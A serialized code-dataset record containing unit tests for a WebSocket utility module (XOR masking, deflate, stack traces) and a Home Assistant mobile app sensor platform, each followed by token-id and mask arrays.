def test_get_stack_trace(self):
self.assertEqual('None\n', util.get_stack_trace())
try:
a = 1 / 0 # Intentionally raise exception.
except Exception:
trace = util.get_stack_trace()
self.failUnless(trace.startswith('Traceback'))
self.failUnless(trace.find('ZeroDivisionError') != -1)
def test_prepend_message_to_exception(self):
exc = Exception('World')
self.assertEqual('World', str(exc))
util.prepend_message_to_exception('Hello ', exc)
self.assertEqual('Hello World', str(exc))
def test_get_script_interp(self):
cygwin_path = 'c:\\cygwin\\bin'
cygwin_perl = os.path.join(cygwin_path, 'perl')
self.assertEqual(None, util.get_script_interp(
os.path.join(_TEST_DATA_DIR, 'README')))
self.assertEqual(None, util.get_script_interp(
os.path.join(_TEST_DATA_DIR, 'README'), cygwin_path))
self.assertEqual('/usr/bin/perl -wT', util.get_script_interp(
os.path.join(_TEST_DATA_DIR, 'hello.pl')))
self.assertEqual(cygwin_perl + ' -wT', util.get_script_interp(
os.path.join(_TEST_DATA_DIR, 'hello.pl'), cygwin_path))
def test_hexify(self):
self.assertEqual('61 7a 41 5a 30 39 20 09 0d 0a 00 ff',
util.hexify('azAZ09 \t\r\n\x00\xff'))
class RepeatedXorMaskerTest(unittest.TestCase):
"""A unittest for RepeatedXorMasker class."""
def test_mask(self):
# Sample input e6,97,a5 is U+65e5 in UTF-8
masker = util.RepeatedXorMasker('\xff\xff\xff\xff')
result = masker.mask('\xe6\x97\xa5')
self.assertEqual('\x19\x68\x5a', result)
masker = util.RepeatedXorMasker('\x00\x00\x00\x00')
result = masker.mask('\xe6\x97\xa5')
self.assertEqual('\xe6\x97\xa5', result)
masker = util.RepeatedXorMasker('\xe6\x97\xa5\x20')
result = masker.mask('\xe6\x97\xa5')
self.assertEqual('\x00\x00\x00', result)
def test_mask_twice(self):
masker = util.RepeatedXorMasker('\x00\x7f\xff\x20')
# mask[0], mask[1], ... will be used.
result = masker.mask('\x00\x00\x00\x00\x00')
self.assertEqual('\x00\x7f\xff\x20\x00', result)
# mask[2], mask[0], ... will be used for the next call.
result = masker.mask('\x00\x00\x00\x00\x00')
self.assertEqual('\x7f\xff\x20\x00\x7f', result)
def test_mask_large_data(self):
masker = util.RepeatedXorMasker('mASk')
original = ''.join([chr(i % 256) for i in xrange(1000)])
result = masker.mask(original)
expected = ''.join(
[chr((i % 256) ^ ord('mASk'[i % 4])) for i in xrange(1000)])
self.assertEqual(expected, result)
masker = util.RepeatedXorMasker('MaSk')
first_part = 'The WebSocket Protocol enables two-way communication.'
result = masker.mask(first_part)
self.assertEqual(
'\x19\t6K\x1a\x0418"\x028\x0e9A\x03\x19"\x15<\x08"\rs\x0e#'
'\x001\x07(\x12s\x1f:\x0e~\x1c,\x18s\x08"\x0c>\x1e#\x080\n9'
'\x08<\x05c',
result)
second_part = 'It has two parts: a handshake and the data transfer.'
result = masker.mask(second_part)
self.assertEqual(
"('K%\x00 K9\x16<K=\x00!\x1f>[s\nm\t2\x05)\x12;\n&\x04s\n#"
"\x05s\x1f%\x04s\x0f,\x152K9\x132\x05>\x076\x19c",
result)
def get_random_section(source, min_num_chunks):
chunks = []
bytes_chunked = 0
while bytes_chunked < len(source):
chunk_size = random.randint(
1,
min(len(source) / min_num_chunks, len(source) - bytes_chunked))
chunk = source[bytes_chunked:bytes_chunked + chunk_size]
chunks.append(chunk)
bytes_chunked += chunk_size
return chunks
class InflaterDeflaterTest(unittest.TestCase):
"""A unittest for _Inflater and _Deflater class."""
def test_inflate_deflate_default(self):
input = b'hello' + '-' * 30000 + b'hello'
inflater15 = util._Inflater(15)
deflater15 = util._Deflater(15)
inflater8 = util._Inflater(8)
deflater8 = util._Deflater(8)
compressed15 = deflater15.compress_and_finish(input)
compressed8 = deflater8.compress_and_finish(input)
inflater15.append(compressed15)
inflater8.append(compressed8)
self.assertNotEqual(compressed15, compressed8)
self.assertEqual(input, inflater15.decompress(-1))
self.assertEqual(input, inflater8.decompress(-1))
def test_random_section(self):
random.seed(a=0)
source = ''.join(
[chr(random.randint(0, 255)) for i in xrange(100 * 1024)])
chunked_input = get_random_section(source, 10)
print "Input chunk sizes: %r" % [len(c) for c in chunked_input]
deflater = util._Deflater(15)
compressed = []
for chunk in chunked_input:
compressed.append(deflater.compress(chunk))
compressed.append(deflater.compress_and_finish(''))
chunked_expectation = get_random_section(source, 10)
print ("Expectation chunk sizes: %r" %
[len(c) for c in chunked_expectation])
inflater = util._Inflater(15)
inflater.append(''.join(compressed))
for chunk in chunked_expectation:
decompressed = inflater.decompress(len(chunk))
self.assertEqual(chunk, decompressed)
self.assertEqual('', inflater.decompress(-1))
if __name__ == '__main__':
unittest.main()
# vi:sts=4 sw=4 et
|
mpl-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
7760,
12,
4475,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
421,
199,
624,
2925,
367,
4884,
859,
1041,
421,
199,
646,
747,
199,
646,
2196,
199,
646,
984,
199,
646,
2882,
199,
199,
646,
663,
63,
1274,
63,
515,
221,
327,
6162,
984,
14,
515,
370,
16592,
3413,
63,
21387,
859,
14,
199,
199,
504,
3413,
63,
21387,
492,
4884,
421,
199,
63,
2864,
63,
3998,
63,
3022,
275,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
1294,
3460,
493,
363,
2788,
16,
467,
283,
18481,
358,
421,
199,
533,
21248,
774,
8,
2796,
14,
1746,
304,
272,
408,
33,
2882,
367,
4884,
859,
1041,
339,
347,
511,
63,
362,
63,
2340,
63,
3446,
8,
277,
304,
267,
291,
14,
629,
360,
403,
60,
78,
297,
4884,
14,
362,
63,
2340,
63,
3446,
1012,
267,
862,
26,
288,
282,
275,
413,
1182,
378,
221,
327,
1010,
9553,
1183,
746,
1919,
14,
267,
871,
2186,
26,
288,
3307,
275,
4884,
14,
362,
63,
2340,
63,
3446,
342,
288,
291,
14,
7589,
8,
3446,
14,
2460,
360,
15905,
1333,
288,
291,
14,
7589,
8,
3446,
14,
1623,
360,
31000,
358,
1137,
446,
17,
9,
339,
347,
511,
63,
20637,
63,
1188,
63,
475,
63,
1971,
8,
277,
304,
267,
3178,
275,
2186,
360,
15943,
358,
267,
291,
14,
629,
360,
15943,
297,
620,
8,
2804,
430,
267,
4884,
14,
20637,
63,
1188,
63,
475,
63,
1971,
360,
6257,
1656,
3178,
9,
267,
291,
14,
629,
360,
6257,
13064,
297,
620,
8,
2804,
430,
339,
347,
511,
63,
362,
63,
1579,
63,
14252,
8,
277,
304,
267,
23941,
63,
515,
275,
283,
67,
18589,
16680,
1103,
1393,
7,
267,
23941,
63,
22805,
275,
747,
14,
515,
14,
904,
8,
16680,
63,
515,
12,
283,
22805,
358,
267,
291,
14,
629,
8,
403,
12,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
18195,
7058,
267,
291,
14,
629,
8,
403,
12,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
18195,
659,
23941,
63,
515,
430,
267,
291,
14,
629,
2336,
2647,
15,
1393,
15,
22805,
446,
87,
52,
297,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
5006,
14,
1168,
7058,
267,
291,
14,
629,
8,
16680,
63,
22805,
435,
283,
446,
87,
52,
297,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
5006,
14,
1168,
659,
23941,
63,
515,
430,
339,
347,
511,
63,
4097,
2021,
8,
277,
304,
267,
291,
14,
629,
360,
2976,
1520,
65,
13385,
959,
65,
4233,
10551,
3388,
21798,
378,
68,
378,
65,
8733,
16328,
297,
586,
4884,
14,
4097,
2021,
360,
4651,
17613,
1643,
971,
84,
60,
82,
60,
78,
60,
88,
383,
60,
3581,
1333,
421,
199,
533,
21973,
972,
56,
269,
5144,
281,
774,
8,
2796,
14,
1746,
304,
272,
408,
33,
2882,
367,
21973,
972,
56,
269,
5144,
281,
1021,
1041,
339,
347,
511,
63,
2629,
8,
277,
304,
267,
327,
15227,
1324,
325,
22,
12,
2576,
12,
65,
21,
365,
738,
11,
2182,
69,
21,
315,
9094,
13,
24,
267,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
3581,
60,
3581,
60,
3581,
60,
3581,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
358,
267,
291,
14,
629,
2258,
88,
1167,
60,
88,
2333,
60,
88,
21,
65,
297,
754,
9,
398,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
88,
383,
60,
88,
383,
60,
88,
383,
60,
88,
383,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
358,
267,
291,
14,
629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
297,
754,
9,
398,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
60,
88,
1165,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
7760,
12,
4475,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
421,
199,
624,
2925,
367,
4884,
859,
1041,
421,
199,
646,
747,
199,
646,
2196,
199,
646,
984,
199,
646,
2882,
199,
199,
646,
663,
63,
1274,
63,
515,
221,
327,
6162,
984,
14,
515,
370,
16592,
3413,
63,
21387,
859,
14,
199,
199,
504,
3413,
63,
21387,
492,
4884,
421,
199,
63,
2864,
63,
3998,
63,
3022,
275,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
1294,
3460,
493,
363,
2788,
16,
467,
283,
18481,
358,
421,
199,
533,
21248,
774,
8,
2796,
14,
1746,
304,
272,
408,
33,
2882,
367,
4884,
859,
1041,
339,
347,
511,
63,
362,
63,
2340,
63,
3446,
8,
277,
304,
267,
291,
14,
629,
360,
403,
60,
78,
297,
4884,
14,
362,
63,
2340,
63,
3446,
1012,
267,
862,
26,
288,
282,
275,
413,
1182,
378,
221,
327,
1010,
9553,
1183,
746,
1919,
14,
267,
871,
2186,
26,
288,
3307,
275,
4884,
14,
362,
63,
2340,
63,
3446,
342,
288,
291,
14,
7589,
8,
3446,
14,
2460,
360,
15905,
1333,
288,
291,
14,
7589,
8,
3446,
14,
1623,
360,
31000,
358,
1137,
446,
17,
9,
339,
347,
511,
63,
20637,
63,
1188,
63,
475,
63,
1971,
8,
277,
304,
267,
3178,
275,
2186,
360,
15943,
358,
267,
291,
14,
629,
360,
15943,
297,
620,
8,
2804,
430,
267,
4884,
14,
20637,
63,
1188,
63,
475,
63,
1971,
360,
6257,
1656,
3178,
9,
267,
291,
14,
629,
360,
6257,
13064,
297,
620,
8,
2804,
430,
339,
347,
511,
63,
362,
63,
1579,
63,
14252,
8,
277,
304,
267,
23941,
63,
515,
275,
283,
67,
18589,
16680,
1103,
1393,
7,
267,
23941,
63,
22805,
275,
747,
14,
515,
14,
904,
8,
16680,
63,
515,
12,
283,
22805,
358,
267,
291,
14,
629,
8,
403,
12,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
18195,
7058,
267,
291,
14,
629,
8,
403,
12,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
18195,
659,
23941,
63,
515,
430,
267,
291,
14,
629,
2336,
2647,
15,
1393,
15,
22805,
446,
87,
52,
297,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
5006,
14,
1168,
7058,
267,
291,
14,
629,
8,
16680,
63,
22805,
435,
283,
446,
87,
52,
297,
4884,
14,
362,
63,
1579,
63,
14252,
8,
288,
747,
14,
515,
14,
904,
1547,
2864,
63,
3998,
63,
3022,
12,
283,
5006,
14,
1168,
659,
23941,
63,
515,
430,
339,
347,
511,
63,
4097,
2021,
8,
277,
304,
267,
291,
14,
629,
360,
2976,
1520,
65,
13385,
959,
65,
4233,
10551,
3388,
21798,
378,
68,
378,
65,
8733,
16328,
297,
586,
4884,
14,
4097,
2021,
360,
4651,
17613,
1643,
971,
84,
60,
82,
60,
78,
60,
88,
383,
60,
3581,
1333,
421,
199,
533,
21973,
972,
56,
269,
5144,
281,
774,
8,
2796,
14,
1746,
304,
272,
408,
33,
2882,
367,
21973,
972,
56,
269,
5144,
281,
1021,
1041,
339,
347,
511,
63,
2629,
8,
277,
304,
267,
327,
15227,
1324,
325,
22,
12,
2576,
12,
65,
21,
365,
738,
11,
2182,
69,
21,
315,
9094,
13,
24,
267,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
3581,
60,
3581,
60,
3581,
60,
3581,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
358,
267,
291,
14,
629,
2258,
88,
1167,
60,
88,
2333,
60,
88,
21,
65,
297,
754,
9,
398,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
88,
383,
60,
88,
383,
60,
88,
383,
60,
88,
383,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
358,
267,
291,
14,
629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
297,
754,
9,
398,
3656,
281,
275,
4884,
14,
19390,
56,
269,
5144,
281,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
21,
60,
88,
1165,
358,
267,
754,
275,
3656,
281,
14,
2629,
2258,
1845,
22,
60,
88,
2576,
60,
1800,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
leppa/home-assistant
|
homeassistant/components/mobile_app/sensor.py
|
5
|
2003
|
"""Sensor platform for mobile_app."""
from functools import partial
from homeassistant.const import CONF_WEBHOOK_ID
from homeassistant.core import callback
from homeassistant.helpers.dispatcher import async_dispatcher_connect
from .const import (
ATTR_SENSOR_STATE,
ATTR_SENSOR_TYPE_SENSOR as ENTITY_TYPE,
ATTR_SENSOR_UNIQUE_ID,
ATTR_SENSOR_UOM,
DATA_DEVICES,
DOMAIN,
)
from .entity import MobileAppEntity, sensor_id
async def async_setup_entry(hass, config_entry, async_add_entities):
"""Set up mobile app sensor from a config entry."""
entities = list()
webhook_id = config_entry.data[CONF_WEBHOOK_ID]
for config in hass.data[DOMAIN][ENTITY_TYPE].values():
if config[CONF_WEBHOOK_ID] != webhook_id:
continue
device = hass.data[DOMAIN][DATA_DEVICES][webhook_id]
entities.append(MobileAppSensor(config, device, config_entry))
async_add_entities(entities)
@callback
def handle_sensor_registration(webhook_id, data):
if data[CONF_WEBHOOK_ID] != webhook_id:
return
unique_id = sensor_id(data[CONF_WEBHOOK_ID], data[ATTR_SENSOR_UNIQUE_ID])
entity = hass.data[DOMAIN][ENTITY_TYPE][unique_id]
if "added" in entity:
return
entity["added"] = True
device = hass.data[DOMAIN][DATA_DEVICES][data[CONF_WEBHOOK_ID]]
async_add_entities([MobileAppSensor(data, device, config_entry)])
async_dispatcher_connect(
hass,
f"{DOMAIN}_{ENTITY_TYPE}_register",
partial(handle_sensor_registration, webhook_id),
)
class MobileAppSensor(MobileAppEntity):
"""Representation of an mobile app sensor."""
@property
def state(self):
"""Return the state of the sensor."""
return self._config[ATTR_SENSOR_STATE]
@property
def unit_of_measurement(self):
"""Return the unit of measurement this sensor expresses itself in."""
return self._config.get(ATTR_SENSOR_UOM)
|
apache-2.0
|
[
624,
10160,
4298,
367,
21305,
63,
571,
1041,
199,
504,
9143,
492,
7417,
199,
199,
504,
8846,
14,
1297,
492,
6392,
63,
13166,
28706,
63,
998,
199,
504,
8846,
14,
1018,
492,
3233,
199,
504,
8846,
14,
7546,
14,
14913,
492,
5316,
63,
14913,
63,
2242,
199,
199,
504,
1275,
1297,
492,
334,
272,
10762,
63,
24151,
63,
6689,
12,
272,
10762,
63,
24151,
63,
2711,
63,
24151,
465,
32526,
1922,
63,
2711,
12,
272,
10762,
63,
24151,
63,
28060,
63,
998,
12,
272,
10762,
63,
24151,
63,
53,
7474,
12,
272,
7126,
63,
1093,
8670,
12,
272,
15265,
12,
199,
9,
199,
504,
1275,
4502,
492,
29724,
2640,
7302,
12,
8778,
63,
344,
421,
199,
4146,
347,
5316,
63,
2758,
63,
2373,
8,
5387,
12,
1101,
63,
2373,
12,
5316,
63,
525,
63,
8327,
304,
272,
408,
1084,
1536,
21305,
1145,
8778,
687,
282,
1101,
2397,
1041,
272,
9045,
275,
769,
342,
339,
30053,
63,
344,
275,
1101,
63,
2373,
14,
576,
59,
3103,
63,
13166,
28706,
63,
998,
61,
339,
367,
1101,
315,
6298,
14,
576,
59,
7378,
1527,
13630,
63,
2711,
1055,
1459,
837,
267,
340,
1101,
59,
3103,
63,
13166,
28706,
63,
998,
61,
1137,
30053,
63,
344,
26,
288,
1980,
398,
2243,
275,
6298,
14,
576,
59,
7378,
1527,
3998,
63,
1093,
8670,
1527,
22944,
63,
344,
61,
398,
9045,
14,
740,
8,
27245,
2640,
10160,
8,
888,
12,
2243,
12,
1101,
63,
2373,
430,
339,
5316,
63,
525,
63,
8327,
8,
8327,
9,
339,
768,
3058,
272,
347,
2429,
63,
8956,
63,
8054,
8,
22944,
63,
344,
12,
666,
304,
267,
340,
666,
59,
3103,
63,
13166,
28706,
63,
998,
61,
1137,
30053,
63,
344,
26,
288,
372,
398,
3747,
63,
344,
275,
8778,
63,
344,
8,
576,
59,
3103,
63,
13166,
28706,
63,
998,
467,
666,
59,
5280,
63,
24151,
63,
28060,
63,
998,
566,
398,
4642,
275,
6298,
14,
576,
59,
7378,
1527,
13630,
63,
2711,
1527,
3235,
63,
344,
61,
398,
340,
298,
3270,
2,
315,
4642,
26,
288,
372,
398,
4642,
905,
3270,
937,
275,
715,
398,
2243,
275,
6298,
14,
576,
59,
7378,
1527,
3998,
63,
1093,
8670,
1527,
576,
59,
3103,
63,
13166,
28706,
63,
998,
2677,
398,
5316,
63,
525,
63,
8327,
779,
27245,
2640,
10160,
8,
576,
12,
2243,
12,
1101,
63,
2373,
3948,
339,
5316,
63,
14913,
63,
2242,
8,
267,
6298,
12,
267,
289,
14381,
7378,
26738,
13630,
63,
2711,
12585,
2683,
401,
267,
7417,
8,
2479,
63,
8956,
63,
8054,
12,
30053,
63,
344,
395,
272,
776,
421,
199,
533,
29724,
2640,
10160,
8,
27245,
2640,
7302,
304,
272,
408,
20609,
402,
376,
21305,
1145,
8778,
1041,
339,
768,
1829,
272,
347,
1174,
8,
277,
304,
267,
408,
1767,
314,
1174,
402,
314,
8778,
1041,
267,
372,
291,
423,
888,
59,
5280,
63,
24151,
63,
6689,
61,
339,
768,
1829,
272,
347,
4137,
63,
1618,
63,
17912,
8,
277,
304,
267,
408,
1767,
314,
4137,
402,
18216,
642,
8778,
1437,
4357,
6337,
315,
1041,
267,
372,
291,
423,
888,
14,
362,
8,
5280,
63,
24151,
63,
53,
7474,
9,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
